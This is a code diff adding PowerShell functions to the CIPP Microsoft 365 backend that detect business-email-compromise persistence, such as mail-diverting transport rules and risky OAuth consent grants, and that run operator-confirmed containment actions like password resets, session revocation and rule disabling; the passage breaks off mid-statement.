-0,0 +1,127 @@ +function Get-CIPPBecTransportRules { + <# + .SYNOPSIS + Collects transport-rule changes in the window and the current transport rules that divert or suppress mail. + .DESCRIPTION + Attackers add a BCC/redirect/delete transport rule to keep a feed after the mailbox itself is + cleaned, so this is tenant-wide. Changes come from the unified audit log (New/Set/Enable/Disable/ + Remove-TransportRule, attributed to the actor and client IP) and are flagged when a risky action + parameter was set. The current rules are read with Get-TransportRule and flagged on their + structured action properties (BlindCopyTo, RedirectMessageTo, DeleteMessage, Quarantine, SetSCL + ...) and on the description text; only flagged rules are returned, with the total count. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER StartDate + Window start (UTC). + .PARAMETER EndDate + Window end (UTC). + .PARAMETER Heuristics + The BEC heuristics object (transportRules section, caps). + .PARAMETER Anchor + Anchor mailbox for the EXO requests. + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][datetime]$StartDate, + [Parameter(Mandatory = $true)][datetime]$EndDate, + [Parameter(Mandatory = $true)]$Heuristics, + [string]$Anchor + ) + + # riskyParameterRegex: diversion/interception actions, always flagged. recentParameterRegex: suppression + # actions (delete, quarantine, SCL, headers) that admins use legitimately - flagged only on rules changed + # in the window (every audited change is in the window by definition). + $ParamRegex = [string]$Heuristics.transportRules.riskyParameterRegex + $RecentRegex = [string]$Heuristics.transportRules.recentParameterRegex + $DescriptionRegex = [string]$Heuristics.transportRules.descriptionRegex + $MatchesAny = { param($Name, [bool]$Recent) ($ParamRegex -and $Name -match $ParamRegex) -or ($Recent -and $RecentRegex -and $Name -match $RecentRegex) } + $Operations = @($Heuristics.transportRules.operations) + $MaxPages = [int]($Heuristics.caps.auditLogPages ?? 10) + $ChangeCap = [int]($Heuristics.caps.transportRuleChanges ?? 200) + + $HasValue = { param($Value) if ($null -eq $Value) { $false } elseif ($Value -is [bool]) { $Value } elseif ($Value -is [string]) { -not [string]::IsNullOrWhiteSpace($Value) -and $Value -ne 'False' } elseif ($Value -is [System.Collections.IEnumerable]) { @($Value | Where-Object { $_ }).Count -gt 0 } else { [string]$Value -notin @('', '0', 'False') } } + + # Changes in the window + $Changes = try { + $Search = Search-CIPPBecAuditLog -TenantFilter $TenantFilter -StartDate $StartDate -EndDate $EndDate -Operations $Operations -RecordType 'ExchangeAdmin' -Anchor $Anchor -MaxPages $MaxPages + $Rows = foreach ($Record in $Search.Records) { + $AD = $Record.AuditData + if (-not $AD) { continue } + $Params = @($AD.Parameters | Where-Object { $_ -and $_.Name }) + $RuleName = ($Params | Where-Object { $_.Name -eq 'Name' } | Select-Object -First 1).Value ?? ($Params | Where-Object { $_.Name -eq 'Identity' } | Select-Object -First 1).Value ?? $AD.ObjectId + $Risky = @($Params | Where-Object { (& $MatchesAny $_.Name $true) -and (& $HasValue $_.Value) } | ForEach-Object { $_.Name }) + $Described = @($Params | Where-Object { $_.Name -notin @('Identity', 'Name') } | ForEach-Object { + $Value = [string]$_.Value + if ($Value.Length -gt 200) { $Value = $Value.Substring(0, 200) + '...' } + "$($_.Name)=$Value" + }) + [pscustomobject]@{ + Operation = $AD.Operation + Date = $AD.CreationTime + Actor = $AD.UserId + ClientIP = $AD.ClientIP ?? $AD.ClientIPAddress + RuleName = [string]$RuleName + Parameters = ($Described -join '; ') + RiskyParameters = $Risky + Flagged = ($Risky.Count -gt 0 -and $AD.Operation -in @('New-TransportRule', 'Set-TransportRule', 'Enable-TransportRule')) + } + } + $Rows = @($Rows | Sort-Object -Property @{ Expression = { $_.Flagged }; Descending = $true }, @{ Expression = { $_.Date }; Descending = $true }) + $Capped = $Rows.Count -gt $ChangeCap + New-CIPPBecCollectorResult -Data @($Rows | Select-Object -First $ChangeCap) -Complete ($Search.Complete -and -not $Capped) -Cap ($(if (-not $Search.Complete) { $Search.Cap } elseif ($Capped) { "$ChangeCap stored changes" } else { $null })) -Count $Rows.Count + } catch { + New-CIPPBecCollectorResult -Data @() -Error "Transport rule audit search failed: $((Get-NormalizedError -message $_.Exception.Message))" + } + + # Current rules + $Flagged = try { + $Rules = @(New-ExoRequest -tenantid $TenantFilter -cmdlet 'Get-TransportRule' -cmdParams @{ ResultSize = 'Unlimited' } -Anchor $Anchor | Where-Object { $_ }) + $Rows = foreach ($Rule in $Rules) { + $ChangedInWindow = [bool]($Rule.WhenChanged -and ([datetime]$Rule.WhenChanged).ToUniversalTime() -ge $StartDate.ToUniversalTime()) + $Reasons = [System.Collections.Generic.List[string]]::new() + foreach ($Property in $Rule.PSObject.Properties) { + if ((& $MatchesAny $Property.Name $ChangedInWindow) -and (& $HasValue $Property.Value)) { + $Value = [string](@($Property.Value) -join ', ') + if ($Value.Length -gt 200) { $Value = $Value.Substring(0, 200) + '...' } + $Reasons.Add("$($Property.Name) = $Value") + } + } + # a rule is flagged on what it does, never on its description alone + if ($Reasons.Count -eq 0) { continue } + if ($ChangedInWindow) { $Reasons.Add('Changed within the investigation window') } + if ($DescriptionRegex -and [string]$Rule.Description -match $DescriptionRegex) { $Reasons.Add('Description mentions a routing or disposition action') } + if ($Rule.Mode -and $Rule.Mode -ne 'Enforce') { $Reasons.Add("Rule is in $($Rule.Mode) mode") } + if ($Rule.State -eq 'Disabled') { $Reasons.Add('Rule is disabled') } + $Description = [string]$Rule.Description + if ($Description.Length -gt 500) { $Description = $Description.Substring(0, 500) + '...' } + [pscustomobject]@{ + Identity = [string]$Rule.Identity + Guid = [string]$Rule.Guid + Name = $Rule.Name + State = $Rule.State + Mode = $Rule.Mode + Priority = $Rule.Priority + WhenChanged = $Rule.WhenChanged + ChangedInWindow = $ChangedInWindow + RiskReasons = $Reasons.ToArray() + Description = $Description + Flagged = $true + } + } + $Result = New-CIPPBecCollectorResult -Data @($Rows | Sort-Object -Property @{ Expression = { $_.ChangedInWindow }; Descending = $true }, Name) + $Result | Add-Member -NotePropertyName 'TotalRules' -NotePropertyValue $Rules.Count -Force + $Result + } catch { + $Result = New-CIPPBecCollectorResult -Data @() -Error "Get-TransportRule failed: $((Get-NormalizedError -message $_.Exception.Message))" + $Result | Add-Member -NotePropertyName 'TotalRules' -NotePropertyValue $null -Force + $Result + } + + return [pscustomobject]@{ + Changes = $Changes + Flagged = $Flagged + } +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecUserGrants.ps1 b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecUserGrants.ps1 new file mode 100644 index 0000000000..821a96cfca --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Get-CIPPBecUserGrants.ps1 @@ -0,0 +1,150 @@ +function Get-CIPPBecUserGrants { + <# + .SYNOPSIS + Collects the investigated user's own OAuth consent grants and enterprise-app role assignments. + .DESCRIPTION + Reads users/{id}/oauth2PermissionGrants and users/{id}/appRoleAssignments, resolves the client + and resource service principals, and flags each entry when it carries a high-risk delegated + scope from an unverified, non-Microsoft publisher or when the application matches the rogue-app + catalog (CIPP MaliciousApps.json + Huntress). Consent-based access survives a password reset, + which is why this check exists. Metadata only: application identity, scopes and publisher. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER UserId + The user's object id. + .PARAMETER Heuristics + The BEC heuristics object (riskyScopes regex + catalogNames). + .PARAMETER RogueAppFeed + Output of Get-CIPPBecRogueAppFeed. Fetched when not supplied. + .FUNCTIONALITY + Internal + #> + [CmdletBinding()] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [Parameter(Mandatory = $true)][string]$UserId, + [Parameter(Mandatory = $true)]$Heuristics, + $RogueAppFeed + ) + + if (-not $RogueAppFeed) { $RogueAppFeed = Get-CIPPBecRogueAppFeed } + $Catalog = $RogueAppFeed.Apps + $ScopeRegex = [string]$Heuristics.riskyScopes.regex + $CatalogScopes = @($Heuristics.riskyScopes.catalogNames) + # Microsoft's own multi-tenant apps are owned by these tenants; they are never "unverified third parties". + $MicrosoftTenantIds = @('f8cdef31-a31e-4b4a-93e4-5f571e91255a', '72f988bf-86f1-41af-91ab-2d7cd011db47') + + $Requests = @( + @{ id = 'Grants'; method = 'GET'; url = "users/$UserId/oauth2PermissionGrants" } + @{ id = 'AppRoles'; method = 'GET'; url = "users/$UserId/appRoleAssignments" } + ) + $Responses = New-GraphBulkRequest -Requests $Requests -tenantid $TenantFilter -asapp $true + $Errors = [System.Collections.Generic.List[string]]::new() + $GrantResponse = $Responses | Where-Object { $_.id -eq 'Grants' } | Select-Object -First 1 + $AppRoleResponse = $Responses | Where-Object { $_.id -eq 'AppRoles' } | Select-Object -First 1 + foreach ($Pair in @(@{ Name = 'oauth2PermissionGrants'; Response = $GrantResponse }, @{ Name = 'appRoleAssignments'; Response = $AppRoleResponse })) { + if (-not $Pair.Response) { $Errors.Add("$($Pair.Name) query returned no response") } + elseif ([int]$Pair.Response.status -ge 400) { $Errors.Add("$($Pair.Name): $($Pair.Response.body.error.message ?? "status $($Pair.Response.status)")") } + } + $Grants = @(if ($GrantResponse -and [int]$GrantResponse.status -lt 400) { $GrantResponse.body.value } else { @() }) + $AppRoles = @(if ($AppRoleResponse -and [int]$AppRoleResponse.status -lt 400) { $AppRoleResponse.body.value } else { @() }) + + # Resolve every service principal referenced (client + resource) in chunks of 15 ids per filter. + $SpIds = @(@($Grants.clientId) + @($Grants.resourceId) + @($AppRoles.resourceId) | Where-Object { $_ } | Select-Object -Unique) + $ServicePrincipals = @{} + if ($SpIds.Count -gt 0) { + $SpRequests = for ($i = 0; $i -lt $SpIds.Count; $i += 15) { + $Chunk = $SpIds[$i..([Math]::Min($i + 14, $SpIds.Count - 1))] + @{ + id = "sp$i" + method = 'GET' + url = "servicePrincipals?`$filter=id in ('$($Chunk -join "','")')&`$select=id,appId,displayName,publisherName,verifiedPublisher,appOwnerOrganizationId,accountEnabled,createdDateTime,servicePrincipalType" + } + } + try { + $SpResponses = New-GraphBulkRequest -Requests @($SpRequests) -tenantid $TenantFilter -asapp $true + foreach ($Response in $SpResponses) { + if ([int]$Response.status -ge 400) { $Errors.Add("servicePrincipal lookup: $($Response.body.error.message)"); continue } + foreach ($Sp in @($Response.body.value)) { if ($Sp.id) { $ServicePrincipals[[string]$Sp.id] = $Sp } } + } + } catch { + $Errors.Add("servicePrincipal lookup failed: $($_.Exception.Message)") + } + } + + $Describe = { + param($Sp) + $AppId = if ($Sp.appId) { ([string]$Sp.appId).ToLowerInvariant() } else { $null } + $Match = if ($AppId -and $Catalog.ContainsKey($AppId)) { $Catalog[$AppId] } else { $null } + [pscustomobject]@{ + DisplayName = $Sp.displayName + AppId = $Sp.appId + Publisher = $Sp.publisherName + PublisherVerified = [bool]($Sp.verifiedPublisher.verifiedPublisherId) + AppOwnerOrganizationId = $Sp.appOwnerOrganizationId + IsMicrosoft = ($Sp.appOwnerOrganizationId -in $MicrosoftTenantIds) + AccountEnabled = $Sp.accountEnabled + CreatedDateTime = $Sp.createdDateTime + CatalogMatch = if ($Match) { [pscustomobject]@{ Name = $Match.Name; Source = $Match.Source; Categories = @($Match.Categories); Description = $Match.Description } } else { $null } + } + } + + $Rows = [System.Collections.Generic.List[object]]::new() + foreach ($Grant in $Grants) { + $Client = & $Describe ($ServicePrincipals[[string]$Grant.clientId]) + $Resource = $ServicePrincipals[[string]$Grant.resourceId] + $Scopes = @(([string]$Grant.scope) -split '\s+' | Where-Object { $_ }) + $HighRisk = @($Scopes | Where-Object { ($ScopeRegex -and $_ -match $ScopeRegex) -or ($_ -in $CatalogScopes) }) + $Risk = if ($Client.CatalogMatch) { 'CatalogMatch' } elseif ($HighRisk.Count -gt 0 -and -not $Client.PublisherVerified -and -not $Client.IsMicrosoft) { 'High' } elseif ($HighRisk.Count -gt 0) { 'Review' } else { 'Low' } + $Rows.Add([pscustomobject]@{ + Type = 'DelegatedGrant' + Id = $Grant.id + ConsentType = $Grant.consentType + ClientDisplayName = $Client.DisplayName + ClientAppId = $Client.AppId + ClientServicePrincipalId = $Grant.clientId + Publisher = $Client.Publisher + PublisherVerified = $Client.PublisherVerified + IsMicrosoft = $Client.IsMicrosoft + ClientAccountEnabled = $Client.AccountEnabled + ClientCreatedDateTime = $Client.CreatedDateTime + ResourceDisplayName = $Resource.displayName + ResourceId = $Grant.resourceId + Scope = $Grant.scope + HighRiskScopes = $HighRisk + CatalogMatch = $Client.CatalogMatch + Risk = $Risk + Flagged = ($Risk -in @('CatalogMatch', 'High')) + }) + } + foreach ($Assignment in $AppRoles) { + $Resource = & $Describe ($ServicePrincipals[[string]$Assignment.resourceId]) + $Risk = if ($Resource.CatalogMatch) { 'CatalogMatch' } else { 'Low' } + $Rows.Add([pscustomobject]@{ + Type = 'AppRoleAssignment' + Id = $Assignment.id + ConsentType = $null + ClientDisplayName = $Assignment.resourceDisplayName ?? $Resource.DisplayName + ClientAppId = $Resource.AppId + ClientServicePrincipalId = $Assignment.resourceId + Publisher = $Resource.Publisher + PublisherVerified = $Resource.PublisherVerified + IsMicrosoft = $Resource.IsMicrosoft + ClientAccountEnabled = $Resource.AccountEnabled + ClientCreatedDateTime = $Assignment.createdDateTime + ResourceDisplayName = $Assignment.resourceDisplayName + ResourceId = $Assignment.resourceId + Scope = $Assignment.appRoleId + HighRiskScopes = @() + CatalogMatch = $Resource.CatalogMatch + Risk = $Risk + Flagged = ($Risk -eq 'CatalogMatch') + }) + } + + $Data = @($Rows | Sort-Object -Property @{ Expression = { $_.Flagged }; Descending = $true }, ClientDisplayName) + $ErrorText = if ($Errors.Count -gt 0) { $Errors -join '; ' } else { $null } + $Result = New-CIPPBecCollectorResult -Data $Data -Complete ($Errors.Count -eq 0) -Error $ErrorText + $Result | Add-Member -NotePropertyName 'HuntressFeedAvailable' -NotePropertyValue ([bool]$RogueAppFeed.HuntressAvailable) -Force + return $Result +} diff --git a/backend/Modules/CIPPCore/Public/BEC/Invoke-CIPPBecContainment.ps1 b/backend/Modules/CIPPCore/Public/BEC/Invoke-CIPPBecContainment.ps1 new file mode 100644 index 0000000000..c43416bb51 --- /dev/null +++ b/backend/Modules/CIPPCore/Public/BEC/Invoke-CIPPBecContainment.ps1 @@ -0,0 +1,320 @@ +function Invoke-CIPPBecContainment { + <# + .SYNOPSIS + Runs a selectable set of BEC containment actions for one user. + .DESCRIPTION + The single containment implementation shared by the ExecBECRemediate endpoint, the + 'becremediate' audit-log alert action and the scheduler. Actions come from + Get-CIPPBecContainmentActions; with no selection the six default steps run, which is the + behaviour the feature always had. Actions run in catalog order, each in its own try/catch so + one failure never stops the rest, and every action returns result rows + ({ Action, Target, state, resultText, copyField }). + + Targets come from Parameters (explicit ids the operator picked), else from the run's stored + results (flagged items), else - only when neither exists - from the live tenant. + + Critical actions refuse to run unless -Confirmed is set; the endpoint sets it only after the + operator typed the user's UPN, automation sets it by design. Passwords never reach the log or + the stored containment history: the redacted copy of the rows is what gets persisted. + .PARAMETER TenantFilter + Tenant default domain name. + .PARAMETER UserId + The user's object id (resolved from the UPN when omitted and needed). + .PARAMETER UserPrincipalName + The user's UPN. + .PARAMETER Actions + Action ids to run. Empty = the default set. + .PARAMETER Parameters + Per-action parameters (hashtable or object): MfaMethodIds, GrantIds, AppRoleAssignmentIds, + ServicePrincipalIds, RuleIds, Delegations, TransportRuleIds, AddInIds, Protocols, + MobileDeviceIds, RegisteredDeviceIds, CAPolicy { State, Controls, ExpiresHours }. + .PARAMETER Confirmed + The operator (or automation) confirmed the Critical actions. + .PARAMETER CaseId + The BEC case the containment belongs to; results are appended to its run. + .PARAMETER RunResults + The run's results payload, used to resolve default targets. + .PARAMETER Headers + CIPP request headers for logging. + .PARAMETER APIName + Logging API name. + .FUNCTIONALITY + Internal + #> + [CmdletBinding(SupportsShouldProcess = $true)] + param( + [Parameter(Mandatory = $true)][string]$TenantFilter, + [string]$UserId, + [Parameter(Mandatory = $true)][string]$UserPrincipalName, + [string[]]$Actions = @(), + $Parameters, + [switch]$Confirmed, + [string]$CaseId, + $RunResults, + $Headers, + [string]$APIName = 'BECRemediate' + ) + + $Catalog = Get-CIPPBecContainmentActions + $Selected = if (-not $Actions -or @($Actions | Where-Object { $_ }).Count -eq 0) { + @($Catalog | Where-Object { $_.DefaultSelected }) + } else { + @(foreach ($Id in ($Actions | Where-Object { $_ } | Select-Object -Unique)) { + $Match = $Catalog | Where-Object { $_.Id -ieq [string]$Id } | Select-Object -First 1 + if (-not $Match) { throw "Unknown containment action '$Id'" } + $Match + }) + } + $Selected = @($Selected | Sort-Object -Property Order) + $CriticalSelected = @($Selected | Where-Object { $_.Impact -eq 'Critical' }) + if ($CriticalSelected.Count -gt 0 -and -not $Confirmed) { + throw "Confirmation is required: the selected actions include Critical changes ($($CriticalSelected.Id -join ', '))" + } + + # Parameters may arrive as a hashtable or a deserialised object; read them case-insensitively. + $Param = @{} + if ($Parameters -is [hashtable]) { + foreach ($Key in $Parameters.Keys) { $Param[[string]$Key] = $Parameters[$Key] } + } elseif ($Parameters) { + foreach ($Property in $Parameters.PSObject.Properties) { $Param[$Property.Name] = $Property.Value } + } + $GetParam = { + param($Name) + $Key = $Param.Keys | Where-Object { $_ -ieq $Name } | Select-Object -First 1 + if ($Key) { $Param[$Key] } else { $null } + } + $AsList = { param($Value) @($Value | Where-Object { $null -ne $_ -and "$_" -ne '' }) } + + $Rows = [System.Collections.Generic.List[object]]::new() + $Add = { + param($Action, $Target, $State, $Text, $Copy) + $Rows.Add([pscustomobject]@{ Action = $Action; Target = $Target; state = $State; resultText = $Text; copyField = $Copy }) + } + # Map a helper's own result rows onto the containment row shape + $AddMany = { + param($Action, $HelperRows) + foreach ($Row in @($HelperRows | Where-Object { $_ })) { + $Rows.Add([pscustomobject]@{ Action = $Action; Target = $Row.Target; state = $Row.state; resultText = $Row.resultText; copyField = $Row.copyField }) + } + } + + Set-CippBecCaseContext -CaseId $CaseId + try { + if (-not $UserId -and ($Selected.Id -contains 'RemoveOAuthGrants' -or $Selected.Id -contains 'TargetedCAPolicy')) { + try { + $UserId = (New-GraphGetRequest -uri "https://graph.microsoft.com/v1.0/users/$([System.Web.HttpUtility]::UrlEncode($UserPrincipalName))?`$select=id" -tenantid $TenantFilter -AsApp $true).id + } catch { + Write-Information "BEC containment: could not resolve the object id of $UserPrincipalName`: $($_.Exception.Message)" + } + } + + foreach ($Action in $Selected) { + $Id = $Action.Id + try { + switch ($Id) { + 'ResetPassword' { + $R = Set-CIPPResetPassword -UserID $UserPrincipalName -TenantFilter $TenantFilter -APIName $APIName -Headers $Headers + & $Add $Id $UserPrincipalName ($R.state ?? 'success') ([string]$R.resultText) $R.copyField + } + 'DisableAccount' { + try { + $R = Set-CIPPSignInState -UserID $UserPrincipalName -AccountEnabled $false -TenantFilter $TenantFilter -APIName $APIName -Headers $Headers + & $Add $Id $UserPrincipalName 'success' ([string]$R) $null + } catch { + if ($_.Exception.Message -match 'AD Sync enabled') { + # the PATCH succeeded; the throw is the helper's way of flagging a synced account + & $Add $Id $UserPrincipalName 'warning' "Sign-in blocked in Entra ID for $UserPrincipalName, but the account is directory-synced: disable it on-premises too or the next sync re-enables it." $null + } else { throw } + } + } + 'RevokeSessions' { + $R = Revoke-CIPPSessions -userid $UserPrincipalName -username $UserPrincipalName -Headers $Headers -APIName $APIName -tenantFilter $TenantFilter + & $Add $Id $UserPrincipalName ($(if ([string]$R -like '*Failed*') { 'error' } else { 'success' })) ([string]$R) $null + } + 'RemoveMFA' { + $MethodIds = & $AsList (& $GetParam 'MfaMethodIds') + # an empty string stands for "every method"; a single-element array survives assignment where @($null) collapses + if ($MethodIds.Count -eq 0) { $MethodIds = @('') } + foreach ($MethodId in $MethodIds) { + $Target = if ([string]::IsNullOrEmpty($MethodId)) { $UserPrincipalName } else { $MethodId } + try { + $R = if ([string]::IsNullOrEmpty($MethodId)) { Remove-CIPPUserMFA -UserPrincipalName $UserPrincipalName -TenantFilter $TenantFilter -Headers $Headers -APIName $APIName } else { Remove-CIPPUserMFA -UserPrincipalName $UserPrincipalName -TenantFilter $TenantFilter -MethodId $MethodId -Headers $Headers -APIName $APIName } + $State = if ([string]$R -like '*No MFA method*') { 'info' } else { 'success' } + & $Add $Id $Target $State ([string]$R) $null + } catch { + # partial success is thrown as text that starts with 'Successfully removed ... However' + $State = if ($_.Exception.Message -match '(?i)^Successfully removed.*However') { 'warning' } else { 'error' } + & $Add $Id $Target $State $_.Exception.Message $null + } + } + } + 'RemoveOAuthGrants' { + $GrantIds = & $AsList (& $GetParam 'GrantIds') + $AssignmentIds = & $AsList (& $GetParam 'AppRoleAssignmentIds') + if ($GrantIds.Count -eq 0 -and $AssignmentIds.Count -eq 0 -and $RunResults) { + $Flagged = @($RunResults.UserGrants | Where-Object { $_.Flagged -eq $true }) + $GrantIds = @($Flagged | Where-Object { $_.Type -eq 'DelegatedGrant' } | ForEach-Object { $_.Id }) + $AssignmentIds = @($Flagged | Where-Object { $_.Type -eq 'AppRoleAssignment' } | ForEach-Object { $_.Id }) + } + if ($GrantIds.Count -eq 0 -and $AssignmentIds.Count -eq 0) { & $Add $Id $UserPrincipalName 'info' 'No flagged application consents to revoke' $null; break } + & $AddMany $Id (Remove-CIPPUserOAuthGrant -TenantFilter $TenantFilter -UserId $UserId -GrantIds $GrantIds -AppRoleAssignmentIds $AssignmentIds -Headers $Headers -APIName $APIName) + } + 'DisableServicePrincipals' { + $SpIds = & $AsList (& $GetParam 'ServicePrincipalIds') + if ($SpIds.Count -eq 0 -and $RunResults) { + $SpIds = @($RunResults.UserGrants | Where-Object { $_.Risk -eq 'CatalogMatch' -and $_.ClientServicePrincipalId } | ForEach-Object { $_.ClientServicePrincipalId } | Select-Object -Unique) + } + if ($SpIds.Count -eq 0) { & $Add $Id $UserPrincipalName 'info' 'No catalog-matched applications to disable' $null; break } + foreach ($SpId in $SpIds) { + try { & $Add $Id $SpId 'success' ([string](Set-CIPPServicePrincipalState -TenantFilter $TenantFilter -ServicePrincipalId $SpId -AccountEnabled $false -Headers $Headers -APIName $APIName)) $null } + catch { & $Add $Id $SpId 'error' $_.Exception.Message $null } + } + } + 'DisableInboxRules' { + $RuleIds = & $AsList (& $GetParam 'RuleIds') + $HelperRows = if ($RuleIds.Count -gt 0) { Disable-CIPPInboxRules -TenantFilter $TenantFilter -UserPrincipalName $UserPrincipalName -RuleIds $RuleIds -Headers $Headers -APIName $APIName } else { Disable-CIPPInboxRules -TenantFilter $TenantFilter -UserPrincipalName $UserPrincipalName -Headers $Headers -APIName $APIName } + foreach ($Row in @($HelperRows)) { & $Add $Id $UserPrincipalName $Row.state $Row.resultText $null } + } + 'ClearForwarding' { + $R = Set-CIPPForwarding -UserID $UserPrincipalName -Username $UserPrincipalName -TenantFilter $TenantFilter -Headers $Headers -APIName $APIName -Disable $true + & $Add $Id $UserPrincipalName 'success' ([string]$R) $null + } + 'ClearAutoReply' { + $R = Set-CIPPOutOfOffice -UserID $UserPrincipalName -TenantFilter $TenantFilter -State 'Disabled' -Headers $Headers -APIName $APIName + & $Add $Id $UserPrincipalName 'success' ([string]$R) $null + } + 'RemoveDelegations' { + $Delegations = @((& $GetParam 'Delegations') | Where-Object { $_ }) + if ($Delegations.Count -eq 0 -and $RunResults) { $Delegations = @($RunResults.Delegations | Where-Object { $_.Flagged -eq $true }) } + if ($Delegations.Count -eq 0) { & $Add $Id $UserPrincipalName 'info' 'No flagged delegations to remove' $null; break } + & $AddMany $Id (Remove-CIPPMailboxDelegation -TenantFilter $TenantFilter -UserPrincipalName $UserPrincipalName -Delegations $Delegations -Headers $Headers -APIName $APIName) + } + 'DisableTransportRules' { + $RuleIds = & $AsList (& $GetParam 'TransportRuleIds') + if ($RuleIds.Count -eq 0 -and $RunResults) { $RuleIds = @($RunResults.TransportRulesFlagged | Where-Object { $_.ChangedInWindow -eq $true } | ForEach-Object { $_.Guid ?? $_.Identity ?? $_.Name }) } + if ($RuleIds.Count -eq 0) { & $Add $Id $TenantFilter 'info' 'No flagged transport rules changed in the window to disable' $null; break } + foreach ($RuleId in $RuleIds) { + try { & $Add $Id $RuleId 'success' ([string](Set-CIPPTransportRuleState -TenantFilter $TenantFilter -Identity $RuleId -Enabled $false -Headers $Headers -APIName $APIName)) $null } + catch { & $Add $Id $RuleId 'error' $_.Exception.Message $null } + } + } + 'DisableMailboxAddIns' { + $AddInIds = & $AsList (& $GetParam 'AddInIds') + if ($AddInIds.Count -eq 0 -and $RunResults) { $AddInIds = @($RunResults.MailboxAddIns | Where-Object { $_.Flagged -eq $true } | ForEach-Object { $_.Identity ?? $_.AppId }) } + if ($AddInIds.Count -eq 0) { & $Add $Id $UserPrincipalName 'info' 'No flagged add-ins to disable' $null; break } + foreach ($AddInId in $AddInIds) { + try { & $Add $Id $AddInId 'success' ([string](Disable-CIPPMailboxApp -TenantFilter $TenantFilter -UserPrincipalName $UserPrincipalName -Identity $AddInId -Headers $Headers -APIName $APIName)) $null } + catch { & $Add $Id $AddInId 'error' $_.Exception.Message $null } + } + } + 'BlockProtocols' { + $Protocols = & $AsList (& $GetParam 'Protocols') + if ($Protocols.Count -eq 0) { $Protocols = @('EWS', 'IMAP', 'POP', 'ActiveSync') } + $R = Set-CIPPCASMailboxProtocols -TenantFilter $TenantFilter -UserPrincipalName $UserPrincipalName -Protocols $Protocols -Enabled $false -Headers $Headers -APIName $APIName + & $Add $Id $UserPrincipalName 'success' ([string]$R) $null + } + { $_ -in @('BlockMobileDevices', 'RemoveMobileDevices') } { + $Devices = @((& $GetParam 'MobileDeviceIds') | Where-Object { $_ }) + $DeviceRows = if ($Devices.Count -gt 0 -and $RunResults) { @($RunResults.SuspectUserDevices | Where-Object { $_.DeviceID -in $Devices -or $_.Guid -in $Devices -or $_.Identity -in $Devices }) } elseif ($Devices.Count -gt 0) { @($Devices | ForEach-Object { [pscustomobject]@{ DeviceID = $_; Guid = $_ } }) } else { @($RunResults.SuspectUserDevices) } + if ($DeviceRows.Count -eq 0) { & $Add $Id $UserPrincipalName 'info' 'No mobile device partnerships found' $null; break } + foreach ($Device in $DeviceRows) { + $Target = [string]($Device.DeviceID ?? $Device.Guid) + try { + $R = if ($Id -eq 'BlockMobileDevices') { Set-CIPPMobileDevice -Headers $Headers -Quarantine 'true' -UserId $UserPrincipalName -DeviceId ([string]$Device.DeviceID) -TenantFilter $TenantFilter -Delete 'false' -Guid ([string]$Device.Guid) -APIName $APIName } else { Set-CIPPMobileDevice -Headers $Headers -Quarantine 'false' -UserId $UserPrincipalName -DeviceId ([string]$Device.DeviceID) -TenantFilter $TenantFilter -Delete 'true' -Guid ([string]$Device.Guid) -APIName $APIName } + & $Add $Id $Target ($(if ([string]$R -like 'Failed*') { 'error' } else { 'success' })) ([string]$R) $null + } catch { & $Add $Id $Target 'error' $_.Exception.Message $null } + } + } + { $_ -in @('DisableRegisteredDevices', 'RemoveRegisteredDevices') } { + $DeviceIds = & $AsList (& $GetParam 'RegisteredDeviceIds') + if ($DeviceIds.Count -eq 0 -and $RunResults) { $DeviceIds = @($RunResults.RegisteredDevices | Where-Object { $_.RegisteredInWindow -eq $true } | ForEach-Object { $_.id }) } + if ($DeviceIds.Count -eq 0) { & $Add $Id $UserPrincipalName 'info' 'No registered devices from the window to act on' $null; break } + foreach ($DeviceId in $DeviceIds) { + try { + $R = if ($Id -eq 'DisableRegisteredDevices') { Set-CIPPEntraDeviceState -TenantFilter $TenantFilter -DeviceId $DeviceId -AccountEnabled $false -Headers $Headers -APIName $APIName } else { Set-CIPPEntraDeviceState -TenantFilter $TenantFilter -DeviceId $DeviceId -Remove -Headers $Headers -APIName $APIName } + & $Add $Id $DeviceId 'success' ([string]$R) $null + } catch { & $Add $Id $DeviceId 'error' $_.Exception.Message $null } + } + } + 'TargetedCAPolicy' { + $Policy = & $GetParam 'CAPolicy' + $State = if ([string]$Policy.State -in @('enabled', 'enabledForReportingButNotEnabled')) { [string]$Policy.State } elseif ([string]$Policy.State -eq 'reportOnly') { 'enabledForReportingButNotEnabled' } else { 'enabled' } + $Controls = if ([string]$Policy.Controls -eq 'mfaAndCompliantDevice') { 'mfaAndCompliantDevice' } else { 'mfa' } + $Hours = [int]($Policy.ExpiresHours ?? 24) + if ($Hours -lt 1 -or $Hours -gt 168) { $Hours = 24 } + if (-not $UserId) { throw "The user's object id is required to create a targeted Conditional Access policy" } + $R = New-CIPPBecTargetedCAPolicy -TenantFilter $TenantFilter -UserId $UserId -UserPrincipalName $UserPrincipalName -State $State -Controls $Controls -ExpiresHours $Hours -CaseId $CaseId -Headers $Headers -APIName $APIName + & $Add $Id $UserPrincipalName ($(if ([string]$R -like '*WARNING*') { 'warning' } else { 'success' })) ([string]$R) $null + } + 'DisableOneDriveSharing' { + $R = Set-CIPPOneDriveSharing -UserId $UserPrincipalName -TenantFilter $TenantFilter -SharingCapability 'Disabled' -APIName $APIName -Headers $Headers + & $Add $Id $UserPrincipalName ($(if ([string]$R -like '*Successfully*') { 'success' } else { 'error' })) ([string]$R) $null + } + 'RemoveSharingLinks' { + # Explicit picks first, else the item URL of every sharing change the run recorded. + $Urls = & $AsList (& $GetParam 'SharingLinkUrls') + if ($Urls.Count -eq 0 -and $RunResults) { + $Urls = @($RunResults.SharingChanges | ForEach-Object { $_.ItemUrl } | Where-Object { $_ } | Select-Object -Unique) + } + $Urls = @($Urls | Where-Object { $_ } | Select-Object -Unique) + if ($Urls.Count -eq 0) { & $Add $Id $UserPrincipalName 'info' 'No sharing links from the run to remove' $null; break } + & $AddMany $Id (Remove-CIPPBecSharingLinks -TenantFilter $TenantFilter -UserPrincipalName $UserPrincipalName -ItemUrls $Urls -Headers $Headers -APIName $APIName) + } + 'BlockSenders' { + # Explicit picks first, else every distinct phishing-shaped sender the run recorded. + $Senders = & $AsList (& $GetParam 'BlockSenders') + if ($Senders.Count 